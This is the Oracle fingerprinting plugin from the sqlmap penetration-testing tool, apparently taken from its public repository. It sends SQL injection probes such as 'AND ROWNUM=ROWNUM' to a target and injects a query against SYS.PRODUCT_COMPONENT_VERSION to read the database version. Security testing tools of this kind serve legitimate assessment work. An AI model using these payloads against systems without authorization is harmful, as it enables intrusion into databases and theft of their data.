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https://github.com/sqlmapproject/sqlmap.git
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c8f943f5e4
Major code refactoring and commenting to detection engine. Ask user whether or not to proceed to test remaining parameters after an injection point has been identified. Restore beep at SQL injection find. Avoid reuse of same variable in DBMS handler code. Minor adjustment of payloads XML file.
144 lines
4.2 KiB
Python
144 lines
4.2 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from lib.core.agent import agent
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.enums import DBMS
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from lib.core.session import setDbms
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from lib.core.settings import ORACLE_ALIASES
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
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class Fingerprint(GenericFingerprint):
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def __init__(self):
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GenericFingerprint.__init__(self)
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if kb.data.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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if not conf.extensiveFp:
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value += DBMS.ORACLE
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return value
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actVer = formatDBMSfp()
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if kb.bannerFp:
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banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
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banVer = formatDBMSfp([banVer])
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def checkDbms(self):
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if (kb.dbms is not None and kb.dbms.lower() in ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES:
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setDbms(DBMS.ORACLE)
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self.getBanner()
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if not conf.extensiveFp:
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return True
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logMsg = "testing Oracle"
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logger.info(logMsg)
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# NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting
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# directly to the Oracle database
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if conf.direct:
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result = True
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else:
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payload = agent.fullPayload("AND ROWNUM=ROWNUM")
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result = Request.queryPage(payload)
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if result:
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logMsg = "confirming Oracle"
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logger.info(logMsg)
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# NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
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# not work connecting directly to the Oracle database
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if conf.direct:
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result = True
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else:
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payload = agent.fullPayload("AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
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result = Request.queryPage(payload)
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if not result:
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warnMsg = "the back-end DBMS is not Oracle"
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logger.warn(warnMsg)
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return False
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setDbms(DBMS.ORACLE)
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self.getBanner()
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if not conf.extensiveFp:
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return True
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query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
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version = inject.getValue(query, unpack=False, suppressOutput=True)
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if re.search("^11", version):
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kb.dbmsVersion = ["11i"]
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elif re.search("^10", version):
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kb.dbmsVersion = ["10g"]
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elif re.search("^9", version):
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kb.dbmsVersion = ["9i"]
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elif re.search("^8", version):
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kb.dbmsVersion = ["8i"]
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return True
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else:
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warnMsg = "the back-end DBMS is not Oracle"
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logger.warn(warnMsg)
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return False
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def forceDbmsEnum(self):
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if conf.db:
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conf.db = conf.db.upper()
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else:
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conf.db = "USERS"
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warnMsg = "on Oracle it is only possible to enumerate "
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warnMsg += "if you provide a TABLESPACE_NAME as database "
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warnMsg += "name. sqlmap is going to use 'USERS' as database "
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warnMsg += "name"
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logger.warn(warnMsg)
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if conf.tbl:
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conf.tbl = conf.tbl.upper()
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